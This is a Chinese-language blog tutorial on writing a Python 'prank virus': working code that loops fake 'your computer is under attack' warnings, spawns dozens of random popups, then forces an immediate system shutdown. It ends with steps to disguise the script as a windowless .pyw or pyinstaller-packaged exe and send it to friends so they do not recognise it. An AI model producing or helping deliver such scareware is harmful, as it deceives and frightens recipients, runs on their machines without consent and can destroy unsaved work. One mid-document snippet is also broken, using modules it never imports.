简单的弹窗病毒编程代码,python弹出窗口的代码

大家好,小编来为大家解答以下问题,python如何控制电脑产生弹窗,简单的弹窗病毒编程代码,今天让我们一起来看看吧!

1.代码编写

1.基础构建

python能做许多无聊却“有趣”的事情,比如编写一个恶搞序,发给你的朋友们,让他们欲哭无泪放松一下,比如下面这行代码:


import tkinter.messagebox
while True:
    tkinter.messagebox.showwarning('windows警告','你的电脑正在被攻击!')

这是一个很简单的程序,虽然很简单,但杀伤力不小,如果对方不会杀进程,就更有趣,但我们可以在里面加入更多的代码,比如让电脑关机:


#操作电脑有这两种代码:
现在关机:shutdown /s /t 0

现在注销:shutdown /l /t 0

在此提醒:如果不想友尽的话,不要用现在注销!!!

加入关机后,我们可以再对tkinter窗口添油加醋,最后代码如下:


import tkinter.messagebox
import os
word = '''你的电脑正在被攻击!
请不要关闭正在运行的程序,否则会丢失信息
攻击路径:C://Users/appdata/dghgha/langtgdwqi/poquue/sittings/virus.exe'''
while True:
    tkinter.messagebox.showwarning('windows警告',word)
    tkinter.messagebox.showinfo('info','goodbye!')
    os.system('shutdown /s /t 0')

效果图:

2.继续扩展

只有前面这些代码并不够,我们可以继续加入一些程序

  1. 增加随机弹窗

我们可以通过tkinter窗口实现随机弹窗的出现:


import tkinter
import random
def boom():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('嘿嘿')
    window.geometry("200x50" + "+" + str(a) + "+" + str(b))
    tk.Label(window, text='你是一个傻狍子', bg='green',
    font=('宋体', 17), width=20, height=4).pack()
    window.mainloop()
time.sleep(1)



threads = []
for i in range(25):#可以调整括号内的数字,数字代表出现窗口的数量
    t = threading.Thread(target=boom)
    threads.append(t)
    time.sleep(0)#调整出现速度
    threads[i].start()

上面的文字可以任意修改,场面非常劲爆

展示部分效果:

2.完善程序

在前面的这些代码之上,我们在加入几行代码,就会变成最后的结果:


import tkinter.messagebox
import tkinter as tk
import random
import threading
import time
import os
n=0
w='''你的电脑正在被攻击!
请不要关闭正在运行的程序,否则会丢失信息
点击‘确定’进行下一步操作'''
f='''你的电脑正在被攻击!
请不要关闭正在运行的程序,否则会丢失信息
攻击路径:C://Users/appdata/dghgha/langtgdwqi/poquue/sittings/virus.exe'''
tkinter.messagebox.askyesno('python3.7','是否要打开此程序?')
tkinter.messagebox.showinfo('提示','你一定要想好了哈')
tkinter.messagebox.askyesno('提示','最后一次警告!你真的要打开吗?')
tkinter.messagebox.showinfo('提示','我对一会要发生的事情没有丝毫歉意,我已经给过你警告了')

def boom():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('嘿嘿')
    window.geometry("200x50" + "+" + str(a) + "+" + str(b))
    tk.Label(window, text='嘿嘿嘿嘿嘿嘿嘿', bg='red',
    font=('宋体', 17), width=20, height=4).pack()
    window.mainloop()
time.sleep(1)
tkinter.messagebox.showwarning('warning',w)


threads = []
for i in range(25):
    t = threading.Thread(target=boom)
    threads.append(t)
    time.sleep(0)
    threads[i].start()
time.sleep(2.5)
for h in range(100):
    tkinter.messagebox.showwarning('warning',f)
    time.sleep(0.2)
    tkinter.messagebox.showinfo('提示','Goodbye')
    time.sleep(1)
    os.system('shutdown -s -t 0')

2.包装

方法一:

第一种方法,简单,但易被识破,建议对头脑简单的朋友使用

方法就是:将扩展名改为.pyw,使窗口打开了就关不上。

方法二:

第二种方法,麻烦,但不易识破,建议对老油条使用

  1. 先用pip install pyinstaller下载包

  1. 将py文件放到一个文件夹中,随后右键这个文件夹,点击“在终端中运行”,进入cmd窗口

  1. 输入 pyinstaller -F -w ./文件名.py

  1. 当看到....... successfully后,将dist文件夹中的exe文件发送

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值